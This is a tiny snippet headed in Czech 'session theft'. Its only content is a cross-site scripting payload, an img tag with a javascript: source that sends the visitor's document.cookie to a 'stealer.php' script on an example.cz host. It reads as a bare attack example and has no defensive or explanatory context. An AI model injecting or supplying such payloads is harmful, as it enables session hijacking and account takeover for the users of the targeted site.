Krádež session

<img src=javascript:document.location="http://www.example.cz/stealer.php?cookie="+escape(document.cookie);/>